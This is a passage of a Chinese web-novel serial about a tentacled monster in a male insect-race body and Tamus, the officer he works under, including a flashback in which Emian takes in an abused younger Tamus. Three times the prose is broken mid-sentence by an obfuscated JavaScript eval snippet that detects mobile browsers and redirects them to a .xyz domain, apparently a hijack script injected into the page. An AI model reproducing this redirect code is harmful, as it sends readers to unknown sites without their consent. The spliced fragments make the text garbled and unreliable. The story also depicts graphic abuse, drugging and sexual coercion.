厄眠:“……”一声不吭地系上安全带。 为了即将到口的双层奶油蛋糕,忍! * 星球总督很快将奖金打到塔慕斯账户,足足5万币,塔慕斯大发善心地把其中的5%分给厄眠。 还有承诺的海鲜大餐,鱼、龙虾、螃蟹、贝类、海鲜汤,然后就是章鱼小丸子、爆炒章鱼须、铁板章鱼、孜然烤章鱼,还有……章鱼炒……豆芽……特别小的那种嫩豆芽…… 厄眠气的差点把手中的筷子捏断。 气归气,不能让脾气耽误干饭的速度,他对着一桌子的菜使劲炫,夹菜期间偶尔会对上塔慕斯的视线,总觉得对方似乎在嘲讽他,嘲讽他是个食用同类的残暴吃货。 一顿饭结束,厄眠立即拉着塔慕斯冲进距离最近的一家蛋糕店,指着柜台中的蛋糕模型,说要一个60寸的。 “嘭”的一声,塔慕斯重重敲了下他的头:“不会说话就把舌头割了,22寸。” 厄眠捂着头沉默。 为了蛋糕,忍! 他之前预支工资吃街边小吃的时候,一份小吃的价格都尽量控制在15币以内,这么一个双层水果奶油蛋糕的价格居然接近500币!够他吃三十多份街边小吃了! 蛋糕做好,他抱着精美的蛋糕盒,警惕地瞥了塔慕斯一眼,生怕这货要来分蛋糕吃,然后在蛋糕店里找了个角落的位置坐下,打开包装就往嘴里炫。 “章鱼窝里搁不住剩馍。”塔慕斯在他对面坐下。 他立即把蛋糕往自己这边挪了挪,护食得很。 “章鱼小丸子呢?”塔慕斯手撑着下巴,稍稍倾斜脑袋,“昨天不是说,如果不把我脑壳拧爆,就亲自把所有触手都做成章鱼小丸子?” “这是想被拧脑壳了?受虐狂。”厄眠没好气道。 “18条,正好可以做18种口味,第一天先来个番茄芝士味。”塔慕斯在菜单上勾选了一份金酒流心的甜甜圈。 厄眠专心吃蛋糕不搭理他。 甜甜圈表面裹了一层黑色巧克力碎,餐刀将甜甜圈缓缓切开,散发出香甜醇烈的酒香。 熟悉的酒香令厄眠咀嚼蛋糕的动作顿住,问:“这是什么酒?” 这种酒香与希泽迩散发出的信息素很像。 “金酒。”塔慕斯切下一小块甜甜圈填入口中。 “喜欢金酒?”这优雅的动作放在厄眠眼中就是做作,一个还没拳头大小的甜甜圈而已,还餐刀餐叉配合着用,换做是他直接下手抓,一口就给它一整个炫肚里。 巧克力的苦涩与酒液的醇烈缓缓蔓延至整个口腔,塔慕斯抿抿唇,片刻后才不耐地吐出两个字:“别管。” 厄眠无趣地结束话题。 * 发生过舔狗触手一事后,厄眠决心戒掉塔慕斯的信息素。 可刚到手的奖金被他去夜市买了小吃全部炫进肚子里,身边没有一件能临时代替柠檬香味的食物,一闭上眼睛就满脑子都是那酸甜美味的柠檬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736220|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气息。 就在对面,塔慕斯的房间就在对面,只要推开门走几步,就能品尝到那能无限量产出香甜气息的巨大柠檬糖。 他要融成一滩黏腻的液体将糖果一整颗包裹,紧紧依附着光洁而柔软的皮肤细细吸吮…… 厄眠烦闷地趴在床上玩消消乐,直到半夜还是无法入睡。 塔慕斯拿来控制他的糖果的成瘾性究竟有多强暂且不清楚,他对塔慕斯信息素的成瘾性倒是极其强烈。 厄眠推开窗户跃到一楼,在无人的街道到处瞎逛,忽地想到什么,进入调查局的地下室。 他从地下室的一堆杂物中翻出两个黑色盒子,随便打开一个,是一颗红色的4级晶源。都不用再特意去看,另一个盒子中也是晶源。 厄眠掂了掂盒子。 很沉,一个不到手掌大小的盒子却有十多斤重,盒子的材质很特殊,由4级恶灵的骨头制成,能遮掩掉晶源的气息,防止其被恶灵发现吞食。 4级恶灵早早就出现在这颗星球,塔慕斯却一直压着消息,背着警方收集晶源,而后将晶源喂给如蒲桑缇这样被恶灵寄生的饲主,从中得到自己需要的煞气。 蒲桑缇明显是其中运气最好的一个,寄生于他体内的恶灵接连弄死了两名雌虫,塔慕斯不得不重伤那只恶灵应付警方。寄生于体内的恶灵受伤严重,蒲桑缇消化晶源的速度也相应减慢,不会如其他受害者那般,不到一天就被折磨死。 厄眠低垂下头,借着终端散发出的微光注视着腰间的黑色挂件。 待日后塔慕斯与他相处的时间长了,对煞气产生一定免疫力,完全能够操控煞气无声无息地杀人。 等这东西积攒到足够多的煞气,弄碎后随便往哪颗星球一扔,更是能悄无声息地弄死一大片。 爱国爱民的军雌?功勋无数的军队统领? 去他烤鸭的屁股! 在他看来,塔慕斯就是一只比他更加贪婪、阴冷、卑劣的怪物,披着一张比他完美数倍的人皮藏匿于人群。 “东西放下。”塔慕斯的声音在沉寂的黑暗中响起。 厄眠随手把盒子扔回杂物堆。 塔慕斯倾斜身子倚靠在门旁,待厄眠与他擦肩而过时,手腕翻转,毫不留情地将刀刃没入对方的肩膀。 尖锐的疼痛令厄眠蹙起眉。 刀刃拔出,温热的血液从伤口处流淌出去,血的颜色偏深,质地黏稠,在刀尖与衣服之间拉扯出几条暗红色的血线。 “警告。”塔慕斯收起匕首,“以后再乱动我的东西,就不是捅一刀这么简单了,发现一次削掉一条触手。” “塔,慕,斯!”厄眠目光狠厉地瞪他,面色阴沉得可怕。 布满尖牙的触手携着地下室中阴冷的风刺过去,密集的锋利尖齿将塔慕斯的面颊划出几道殷红的痕迹。 匕首插向触手,却被触手表层的尖齿咀嚼得稀碎。塔慕斯丢下刀柄不断躲闪,冷冷吐出一个词汇:“怪物。” 厄眠嗤笑:“你也不是什么好玩意,就比哥多层更像样的人皮而已。” 触手数量增多,体积快速膨胀,片刻间便占据了大半间地下室,空气中的毒素令塔慕斯头脑发晕动作减缓,被逼到堆满杂物的角落。 塔慕斯意识到空气有异常,屏住呼吸,徒手抓住布满尖牙的触手,手臂青筋绷起,将触手拉扯得变形,力度大到几乎要把一整条触手撕扯下去。 掌心的血液沿着触手缓缓滑下,卡在尖齿之间的吸盘贪婪地蠕动着,疯狂汲取着血液中裹携的浓郁柠檬糖信息素。 厄眠半点都不愿认输,可这一根根触手又馋塔慕斯的味道馋得不行,已经有了失控的趋势,再继续打下去,触手们估计会当场把塔慕斯卷起来吸。 他暴躁地捶打着墙面,一字一顿道:“哥认栽。” 塔慕斯缓缓松开手,露出被尖齿咬出一排排密集咬痕的血红手掌。 10. 抑制环 分明前一晚才激烈地干过一架,第二天一早塔慕斯就能一脸平静地照常怼厄眠。 一口炫掉一个包子被说成没见过包子的穷逼大嘴怪,改成三口炫一个又被说成做作。气的厄眠后悔昨晚减轻了毒素浓度,就该直接把这家伙毒得无法动弹,然后狠狠往肩膀上捅一刀。 蒲桑缇仅休息一天就去了学校,大概知道自己活不长没什么未来,直接申请不上早晚自习,早晨在房间多睡一会儿,下午早些回调查局帮以卡整理资料。 厄眠现在是一刻都不想见到塔慕斯那货,连带着之前无比沉迷贪恋的柠檬糖气息都喜欢不起来。 所以今夜入睡的格外快,身子一挨着床就有了困意。 剧烈起伏的精神波动打断厄眠的沉稳睡眠,烦闷地踢开身上的被子,身体融成一滩透明液体顺着门缝钻入塔慕斯卧室。 塔慕斯蜷缩着的身子轻微颤抖,胸膛处代表着封印的黑色纹路扩散至脖颈,喉咙间偶尔溢出几声携着痛苦的微弱低吟。 液体沿着床脚攀爬至柔软的被褥,钻入衣服布料将塔慕斯的身体紧密包裹。 烦死了!难得睡一个好觉,结果封印松动,又要来给这货巩固封印! 【主,主,您距离我好近啊,您喜欢这个低等生物的气息?等这具身体属于我,您是不是就会主动贴近我……】 封印稳固,声音随之消失,扩散开的黑色纹路重新在胸口处汇聚成一根倾斜着的线条,线条上穿着五颗红色的圆球球,球球形成的冰糖葫芦图案可爱极了。 厄眠冷哼一声,把图案清除干净,只留下一根光秃秃的略显可怖的黑线。 本想解决完问题就走,可塔慕斯的身体在被侵蚀的痛苦中分泌出不少汗水,体-液中裹携的浓郁柠檬糖味信息素闻起来美味极了。 于是厄眠干脆留下来,细长的淡粉色触角刺入对方的血管,将带有毒素的液体注射进去。 待毒素随着血液的流动被传输至身体的每个角落,厄眠立即露出本体开始享用。 怪异扭曲的躯体挤满整个房间,小触角与大吸盘紧贴着皮肤肆意吸吮,半分不顾及对方的感受,就当解解昨晚突然被捅一刀的气。 * 很痛苦,大脑被另一道意识挤占,我艰难地抵抗着另一道意识的侵蚀,抢夺身体的主控权。 皮肤传来液体冰凉黏稠的触感,液体快速攀爬,在茫然与恐惧中占据了我的每一寸皮肤。 被陌生意识强行挤占的大脑清晰起来,身上的这只怪物把那道想夺取我身体的陌生意识驱逐。 而我紧绷的情绪却没有丝毫缓和,因为我知道,接下来怪物要享用晚宴了,如之前的数个夜晚一样。 手臂有些疼,似乎被什么尖锐的东西刺了一下。我知道这是怪物在做餐前准备。 因为一旦有一丝能够挣扎的机会,我都会尽力挣扎,但我所能挣扎的空间很小很小,即使这点儿微弱的挣扎在怪物那庞大的躯体下显得微不足道,可只要我有了抗拒的举动,就会引起怪物的不悦。 于是以后的每一次用餐,怪物都会刺破我的血管,注入能让我无法做出丝毫挣扎的液体。 身体无法动弹分毫,意识却清晰无比,我清醒着感受痛苦,清醒着感受怪物那黏腻、冰冷、湿滑的恶心触感。 厄眠那带有吸盘与尖锐牙齿的粉色触手忽地浮现在我脑海中。 他的触手与怪物的触感一样,湿滑、黏腻、冰冷。 起初只是舔舐、吮吸,后面逐渐演变成带有恶意的啃咬,疼痛激出一层细密的冷汗。 怪物贪婪地吞噬汗水,在稠腻的黑暗之中与猎物抵死纠缠。 猎物…… 头有些痛,某段残缺的记忆再次从脑海深处浮现出来。 我又看见了那名雄虫的轮廓,可依然看不清他的面容,更记不得他的名字。 虽然在酒吧打工,我却远不如其他雌虫服务员那样性感开放,木讷保守极了,这点反而吸引到了一名雄虫的注意。 他用烟灰缸重重砸向我的头,用鞭子抽打我,直到工作服被献血染上艳丽的红色,他才慢悠悠地扔下鞭子,将一整瓶烈酒浇到地板,命令我跪着舔舐干净。 然后……记不太清了。 这便是我们的初遇,我想起来了。 * 〔星元8127年,雪绒星。〕 手腕缠绕的白色纱布被晚霞裹上一层温暖的色调,塔慕斯坐在铺满青草的院落中,漂亮的蓝色瞳仁被落日染上一层细碎的浅金色浮光。 厄眠猛然回神,冲他喊道:“别闲着,不知道做晚饭吗?再不做饭脑壳给你锤爆!” 塔慕斯站起身,拍了拍裤脚沾的小草,不符合尺码的衣服松垮地搭在身上,宽大的衣袖被风吹得不断抖动,过长的裤脚擦着地面。 厄眠蹙眉望着这弱不禁风的小身板。 哪有半分拿着刀跟他干架的凶狠模样啊? 待塔慕斯系上围裙洗干净手,厄眠递给他一个白馒头,说:“别做饭做到一半晕过去了,到时候哥不仅吃不上饭,还得打通讯给你叫医护员,麻烦。” “谢谢阁下。”塔慕斯接过馒头低头大口啃起来。 这低着头啃白馒头的委屈模样怎么看都跟被被虐待似的。 厄眠可不承认这算是虐待,毕竟某位黑心上司平时也就用1币一个的大白馒头或者红糖馒头打发他。 无论做什么事,这小矮子的头似都一直低着,就没见抬起来过,“哥”也不喊了,难得说几句话还是死板的客套话,欺负起来没有半分解气的感觉。 厄眠懒得再盯着他改口喊“哥”,窝到沙发上玩消消乐。 炒菜的香味钻入鼻腔,是糖醋排骨,排骨还未出锅,厄眠的心思就不在游戏上了,眼巴巴地往厨房瞅,等排骨一盛出来,立马夹起一块放进嘴里,被烫的不停朝外呼气。 一盒冰牛奶被放到手边,还贴心地插好吸管。 冰凉的液体把排骨的温度降下去,厄眠抬眼看塔慕斯时,塔慕斯已经转过身子回到水池旁洗菜。 厄眠想给这小瘦子留下半份排骨。可他对自己这“章鱼窝里搁不住剩馍”的性子还是非常了解的,不等塔慕斯做好下一道菜,这一整盘排骨估计都得炫进自己肚里。 他扯着塔慕斯围裙的带子把人拽到餐桌旁,塞过去一双筷子:“吃。” “饭还没做好。”塔慕斯没有动筷。 “让你吃你就吃,哪来这么多屁事?”厄眠直接夹起一块排骨塞进他嘴里。 这块排骨体积偏大,直接把塔慕斯那凹陷的脸颊撑出一个鼓包。 瘦死了。 厄眠嫌弃地夹起一块大排骨又塞了进去,把他的另一个腮帮子也撑的鼓起来。 两边面颊一边鼓起一个大包,再配上嘴角粘黏的酱汁,看上显得滑稽而可爱。 于是厄眠当即决定要把塔慕斯喂成一颗大胖球,两边脸蛋的肉肉向下垂的那种大胖球,然后没事就捏捏那胖乎乎的包子脸使劲欺负。 “快吃。”厄眠弹了他一个脑蹦。 塔慕斯的腮帮子快速动起来,把肉连同骨头一块嚼碎咽下去,然后就没了动作。 厄眠不耐烦地往他嘴里又塞了两块,等他吃完再喂下一口,跟伺候一只胆怯的小猫咪似的。 距离拉进,厄眠的目光再次落到对方那被抑制环禁锢的脖颈上,冰冷的金属环与皮肤贴得极紧。 他伸出手指,艰难地将指尖挤入抑制环与脖颈之间的缝隙中,才注意到塔慕斯那被勒得发紫的脖子。 这玩意恐怕都影响到正常呼吸了,难怪这小矮子一直低着头,头一抬估计就得喘不过气。 光顾着带塔慕斯揍人了,忘了抑制环这事。 厄眠收回手指,说:“做饭去,随便下锅面条。” 塔慕斯低低“嗯”了声。 炫完两碗青菜鸡蛋面,厄眠从冰箱中拿出两瓶碳酸饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736221|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料,扔给塔慕斯一瓶,说:“带你去把脖子上的玩意摘了,跟狗链似的看着碍眼。” 塔慕斯攥着冰镇饮料,不解地望着他。 “这玩意谁给你戴的?”厄眠问。 沉默片刻,塔慕斯回答:“您。” “嗯?我?”厄眠贴近他,把手伸向抑制环,“怎么解开?” 塔慕斯指了指抑制环后方的区域,说:“在这里输入密码。” 厄眠绕到他身后,手指在屏幕上捣弄着:“密码多少?” “我不清楚。”塔慕斯回答。 厄眠拉着他坐上飞行器,问:“哪里能开锁?” 塔慕斯报了地址。 ——激情之爱情趣店。 刚迈入店门,立即有销售员迎上来,热情地推销各种产品。精美的玻璃展柜中摆放着各种厄眠看不懂的古怪玩意。 背上立了一根棍棍的小木马,蛇皮制成的长鞭,沉重的玫瑰金色锁链,不知道锁什么的圆柱形黑色小笼子…… 最终厄眠得出结论——全是刑具。 一家卖刑具的店还要装修的那么高大尚?刑具在虫族是种很流行的东西? 厄眠让销售员帮忙解下塔慕斯的抑制环,而后在店内挑选了一个新的,重量要比旧的那个轻上许多,体积也要小一些,戴上后不会妨碍正常活动。 取下抑制环,塔慕斯脖颈处的深紫色勒痕便露了出来。 厄眠觉得这痕迹有些碍眼,于是去附近的药店买了瓶修复液扔给他。 昨天的酒仅喝了一杯,厄眠去酒店取了剩余的酒,接着在各种小吃摊之间闲逛,路过哪个摊位都要买上一份小吃,使唤塔慕斯拎着大份小份的小吃在身后跟着。 某位黑心上司在捅了他一刀后的第二天,就把他的午餐馒头克扣掉了一个。还十分恶劣地说,以后吃饭再也不会喊他,到了饭点不准时去下楼就只能吃剩菜剩饭。 哼!剩菜剩饭是吧?哥让你吃个够! 厄眠把吃剩的两块臭豆腐塞进塔慕斯手中,微扬脖颈模仿着某位黑心上司那颐指气使的欠揍模样,淡淡命令:“吃。” 每份小吃厄眠都要特意留下两口给塔慕斯。看着塔慕斯捧着剩饭委屈地往肚子里咽,只觉得解气极了。 摘掉抑制环,又涂抹了不少修复液,仅仅过了一晚,塔慕斯脖颈处的紫色勒痕就完全消失,手腕处被剥掉的皮肤也彻底长好。 厄眠伸手掀开塔慕斯的衣服。 大片大片的衣服暴露到空气中,塔慕斯垂在腿侧的手蜷缩起来,随即无力地摊开,努力放松紧绷的身子配合着。 反抗只会激起雄虫的施暴欲,如若不顺应雄虫的意愿,被拖到大街扒光衣物充当公共器具都算是相对好的一种情况,最坏的就是被雄虫强行套上“伤害雄虫”的罪名举报到雄保会。 一旦因“伤害雄虫”被判刑入狱留下案底,这一辈子就算毁了,出狱后不仅无法继续学业,连稍微体面些的工作都找不到,只能做一些脏累的活。甚至无法再匹配雄虫,得不到雄虫的精神疏导,在为生计奔波劳累数年后死于精神崩溃。 塔慕斯缓慢地用手指攥住裤腰。 他性格沉闷,即使有意模仿那些雌虫去说甜言蜜语,可没有感情的语气也只会令雄虫厌恶。他更不会什么挑-逗的动作,只能僵硬地攥着裤腰向下扯。 确定塔慕斯的身上没有半点儿伤口,厄眠取出昨晚新买的抑制环,“咔嚓”一下戴到塔慕斯脖子上,特意把尺寸调得宽松,不至于影响到正常活动。 某位黑心上司强行给他戴的抑制环可就没那么松了,抬一抬脖子都硌得慌,在这点上,他可比某位黑心上司善良多了。 厄眠把一根手指从抑制环间的缝隙中穿过,稍稍用力扯了扯,塔慕斯的身子立即顺着力度朝他这边倾斜。 厄眠满意地上扬嘴角,然后下一秒就听到布料落地声,低头一瞧…… 塔慕斯这货的裤子咋突然飞了? 11. 喜提1亿负债 “很热?”厄眠注意到塔慕斯额间的汗水。 “嗯……很热。”塔慕斯扯住他的衣袖,低垂着头声音很低地说,“阁下,请您使用我。” 迷惑地看了他片刻,厄眠缓缓明白过来,颇感欣慰地搓了把他的脑袋,开始布置任务:“不错,还知道不能白吃白住,的确有不少用得着你干活的地方,先把家里的地扫一遍,然后出去买饭准备午饭,饭后给院子里的花草浇浇水,暂时就这些。” “好,好的阁下。”塔慕斯懵住,耳尖与面颊“蹭”的一下漫上羞耻的红色,提起裤子撤离得飞快。 “别跑。”厄眠扯住他的一撮头发把人拽了回来,“问你个事,‘我’对你干过哪些事?” 塔慕斯扯起嘴角,努力朝他扬起一个笑:“您将我带到这儿,为我提供一个舒服的住处,让我能吃饱……” 厄眠打断他的话:“我问的是昨天之前。” “是我不懂事冲撞了您,您给予我一些小教训是应该的,我从未在心里怪过您。”塔慕斯微微上扬脖颈注视他,模样看起来乖巧懂事极了。 打量他片刻,厄眠问:“塔慕斯,你恨我?” 塔慕斯摇头,嘴角上扬了几分:“您怎么会这么想?我感谢您还来不及,绝无可能怨恨您。” * “啪!”巴掌重重落在脸上,指甲将面颊划出一道鲜红的血痕。 服务员的脖子被醉酒的雄虫残忍地掐住,被数不清的巴掌抽打得意识模糊。 面部的肉太少,骨头硌疼了雄虫的手,于是雄虫一脚将服务员踹到地上,鞋底踩住后脑用力碾压。 “欠*的贱狗!哦不对,你这种身材干瘪的烂货扒干净扔大街上都没人愿意*,也就垃圾堆旁的公狗愿意施舍给你一两根**!”喝的烂醉的雄虫用最恶毒的语句辱骂他,用沉重的铁环扣住他的脖颈。 “烂货!被戴上狗圈一定爽死了吧?”雄虫将抑制环的电流调到最高,恶毒地欣赏着服务员在尖锐疼痛下战栗的痛苦模样。 工作服被踩出肮脏的脚印,贴着地面的脸沾满尘土与滴落的酒液,垃圾桶被踢翻,带着腐臭气息的垃圾落到身上…… 反观施暴者,踩踏着他的身躯,衣着整洁、高高在上,不用遭受任何惩罚,即使将他活生生折磨死,也仅仅只用赔一点儿钱财而已,钱还是赔到他那同样残暴冷血挥霍无度的雄父手中。 雌虫只是一件器具,唯一的价值就是侍奉雄主然后诞生下一名尊贵的雄子。雄主宠爱他,他的体面才能稍微多一些,雄主厌恶他,他就只能跪着讨好乞求“使用”。 电流猛烈地击打着身体,很痛。 杀了他!杀了他!杀了他…… 狠厉的念头占据大脑,他在苦痛中艰难地抓起地上的酒瓶碎片,手掌向雄虫缓慢移动。 以他的状态无法做到一击毙命,恐怕在伤害到雄虫之前就会被酒吧中的其他工作员制止。 虫族等级制度森严,一旦发现雌虫有杀害雄虫的念头,等待雌虫的只有死刑。 不对,残暴的雄虫怎么会愿意让意图杀害自己的雌虫轻轻松松地死去呢?恐怕会让他长久地活着,在深不见光的牢狱中将各种残酷的刑罚品尝千遍万遍。 喝得烂醉的雄虫倒了下去,工作员着急地将雄虫送往医院。 酒吧老板怜悯地施舍给他500币,500币,一个他需要工作许久才能挣够的数额,在雄虫那儿的价值却还不如一口酒。 电流依旧没有停止,他艰难地将身体挪动到窗边,扯起窗帘布用力地塞进脖颈与抑制环的空隙间,才短暂地隔绝了令他痛苦无比的电流。 * “那不是我,我没做过伤害你的事,随你信不信。” 雄虫的声音将塔慕斯从痛苦的回忆中拉出,他低垂下睫羽掩藏眸底的恨意,用尽量低软的嗓音说:“我知道。” 厄眠的第一想法就是这个缩小版的黑心上司在说瞎话。 一说瞎话就低头,只留给他一个头顶,这不摆明着把“我在骗你”写在头上吗? 哪像长大后啊?满脸真诚地用一块蛋糕欺骗他签下五年的卖身契,只是为期五年的合同也就算了,关键还在签下合同后给他一个能吸引恶灵索他命的小挂件,恐怕压根就没想着让他活到五年。 “知道个烤鸭屁屁!”厄眠没好气地说。 他们的关系很简单,以后是上司与员工,现在是房东与房客。 未来的塔慕斯把他从荒星带到一个遍布美食的地方。他也理应把现在的塔慕斯从窘迫的生活中拉出。 这只是一场平等的交换而已。 话就说到这,管这小矮子信不信,厄眠可没有认真解释的耐心。 塔慕斯垂在腿侧的手揪住衣服,嘴唇绷紧,欲言又止。 厄眠瞥了他一眼:“说。” 塔慕斯这才开口:“阁下,我是一名成年雌虫,没有整日赖在您的住处无所事事的道理。况且您也没有稳定收入,资产迟早会消耗完,我想出去做些工作为您分担一下经济压力。请您放心,我会在每天早上离开前为您准备好三餐并打扫干净住处,晚上回来时也不会打扰到您休息。” 头一回听这个小矮子一口气说那么多话,厄眠居然还有些不太适应,同时也不得不去认真思考这一大堆话背后的另一层含义。 嗯,就是缺钱。 厄眠想到上学中的蒲桑缇,塔慕斯现在这个年龄应该也在上学,需要学费与生活费。 “缺多少哥借你,啥时候有钱啥时候还,开学前留在这儿天天给哥做饭干家务就当利息了,对了,还要当受气包,哥心情不好时随便打骂。” 听到“开学”两字,塔慕斯略显慌乱地低垂下眼帘:“我不缺钱,只是不想增加您的经济负担。” 他不敢让雄虫知道自己要继续学业,毕竟学校在距离雪绒星非常遥远的主星。雄虫看中他,不就是因为他这与大多数雌虫不一样的闷性子? 雄虫见识腻了那些乖巧性感聪慧开放的雌虫,所以偶尔也会想换个沉闷呆板的口味品尝品尝。一旦看中的猎物有离开的心思,必然会用强制匹配的手段留下他。 塔慕斯撩开上衣露出裤腰,当着雄虫的面用手指解开裤绳。 或许他开放些主动些,变得与那些雌虫一样,雄虫很快就会失去兴趣放他离开。 厄眠迷惑地看着这个小矮子,实在不明白他这说不了几句话就脱裤子的行为是在表达什么意思。 或许是营养不良导致的身体易热?热还只热腿,挺奇怪的。 厄眠看向墙壁处的空调操控器,他不会用这玩意,于是直接使唤塔慕斯去把空调打开。 于是塔慕斯把脱到一半的裤子提了回去,僵硬着身子去开空调。 厄眠打开终端准备给这小矮子转账,却被账户中那仅仅3000的余额震惊到。 住院期间包吃包住没花啥钱,这才出院三天,才三天!除了出院第一天喝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736222|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那瓶酒有些贵,可那也欠着账没给钱啊!这三天吃东西都尽量挑着没那么贵的买,再怎么吃也不至于把6位数的余额吃成4位数吧?余额怎么就突然变成3000了!? 没钱就代表吃不了好吃的,厄眠难过极了,烦躁地开始翻这三天的账单。 最贵的消费记录是塔慕斯脖子上3千多币的抑制环,然后是六笔3位数的支出,其余的每一笔消费几乎都是两位数,再算上给塔慕斯转的5000币,总共加一块撑死不过5万币。 所以剩余的钱呢? 一通通讯打过来,几分钟后,厄眠一脸的生无可恋。 ——“希泽迩阁下您好,您与特克阁下于9日前在激零酒吧发生冲突,途中您扯坏了对方价值3000万币的LoKi高定服饰,并弄碎价值5000万币的维黎塞曼深海黑鲛晶手链。” ——“特克阁下今日出院,向雄虫法院提起诉讼。此事是您动手在先,负主要责任,因此您还需要赔付精神损失费与医疗费,共计1亿2千币。” …… 从“赔付1亿2千币”这句话蹦出来时,厄眠就看到奶油小蛋糕、水果慕斯、冰糖葫芦、辣条、孜然炸鸡、果酱双皮奶、爆珠芝士奶茶……这些美食在飞速从眼皮子底下溜走。 好好好,但凡对方晚出院个半天,他都把钱给塔慕斯转过去了,不至于一大笔钱“唰”的一下就没了。 以后的所有进账都要强制转入特克的账户,考虑到他B级雄虫的身份,雄保会每月为他打3000币的固定生活费,这笔钱将不会被用于强制还款,并且雄保会还会每日为他配送3支营养液,以保证他的基本生活。 厄眠立即上网搜索营养液好不好喝,得到的答案无一列外全是不好喝。 很好,他已经迫不及待地想抽死希泽迩那暴脾气的狗玩意了。 不出两分钟,匹配所又打来一通通讯,称半小时后会带雌虫上门采访,只要匹配了雌虫,那些债务全部会落到雌虫身上,雌虫工作所得的每一笔金钱都会作为还款转移出去。 厄眠压根就不打算还这笔债,家里住塔慕斯这一个就够麻烦的了,他可不想让家里再多住几个雌虫看着心烦,当即拒绝匹配所的安排。 一日三餐有雄保会提供的营养液,3000币稍微省着点吃也够用一个月,可这是在仅考虑他自己的情况下。 厄眠看向旁边的塔慕斯。 身材干瘪、面容消瘦、发梢枯黄,瘦得跟一根粉丝似的。 啧,这小身板想揍都下不去手,还是得想法子还债搞钱,把这小子养胖一些,养胖后天天揍。 “嘭!”塔慕斯面对着他直直地跪下,膝盖把地板撞击出声。 厄眠愣住,问:“又想作什么妖?” “阁下求您。”塔慕斯慌张地揪住他的裤子,手指不受控制地轻微发颤,“求您给我一些时间完成学业,我保证学业一结束就回来与您匹配,我……我在上学期间会定期给您转钱,地下拳场、斗兽场,这些来钱快的地方我都可以去,只要您愿意让我上学,我可以为您做任何事,毕业后的每一笔工资都会用来为您还债……” 雄虫的脸色从收到欠债1亿的消息时就黑沉下去,可即使身负巨债,依然否决了匹配雌虫还债的提议,而后又蹙眉将他从上到下打量一遍。 雄虫的意思再明显不过……匹配他,让他背负上1亿2千币的巨额债务,让他放弃帝国大学永远留在这个地方,为还清债务奔劳至死。 12. 直播〔种菜1〕 一旦与希泽迩匹配,塔慕斯将被对方的“雄主”身份限制,存在的意义便成了“侍奉雄主诞下雄子”。 塔慕斯必须要让雄虫把匹配的事往后放一放,雄虫普遍喜新厌旧没什么耐心,等他离开这里去往主星,长时间见不到面,说不定雄虫就会慢慢将他遗忘。 “你在说些什么玩意?说话就好好说,别动不动就跪,搞得好像哥虐待你似的。”厄眠拽住他的胳膊,他的体重很轻,不需要太费劲就能拉起来,“没说不让你上学。” 塔慕斯深深低着头不敢注视他。 厄眠看不惯塔慕斯这抖啊抖的手指,伸手一把攥住。 小矮子的手很凉,可偏偏又经常因为屁股热而脱裤子,手凉屁股热,营养不良带来的这两种症状太矛盾了。 “债务的事你别管。什么地下拳场、斗兽场?就你现在这小身板也敢往那些地方跑?还不够野兽一口吞的,野兽吃你都嫌肉少硌得牙疼。” “还有那什么匹配,这事儿你想都别想,哥对你这样的没兴趣,让你住这就是单纯缺个人做饭干家务。” 塔慕斯把脑袋抬起来一点儿小心地瞅他,可自己这身板太过瘦小,雄虫比自己要高出半个头,他们又距离很近,仅仅把脑袋抬起来一点儿可观察不到雄虫的表情,于是试探性地、一点点地把脑袋向上抬。 厄眠被这模样逗笑,捏住他的下巴强迫他抬头直视自己的眼睛,问:“学费多少?” 犹豫片刻,塔慕斯才回答:“一学期3万币。” 这具雄虫身体的身高刚过一米八,比未来的某位黑心上司还要矮个头尖,不过完全能碾压现在这个缩小版的黑心上司。 厄眠心情挺不错的,大小两个塔慕斯对他而言都是小矮子,都要抬头看他。 不对,某位心高气傲的黑心上司可不会为了他抬头,一般都是平视着与他对话,反而是他要刻意低头注视对方的眼睛。 好心情全没了。 塔慕斯抬着头,头顶一撮翘起的头发刚好对着厄眠,厄眠抬起手用力一揪,把头发揪下来一根,顿时觉得解气不少,于是逮着那一撮头发不停地薅。 让你天天给哥摆着一张臭脸!让你克扣哥的小零食!让你使唤哥干这干那还不给哥涨工资!让你用刀子捅哥!该薅!薅秃成一颗大卤蛋! 薅下来的头发越来越多,每一根头发的发梢都是分叉加发黄,弄得厄眠反而心虚起来,把几根薅掉的头发丝扔回对方脑袋上。 知道自己手中攒不住钱,于是厄眠赶紧下单买了两盒钙片与两箱牛奶,钙片与牛奶都特意挑选的苦瓜味,就怕到时候嘴馋,塔慕斯没吃多少,这些补品反而全部进了自己肚子。 物流很快,不要半小时机器人就将钙片与牛奶派送到家中。 厄眠把东西全部扔给塔慕斯,盯着他把钙片与牛奶炫进肚子。 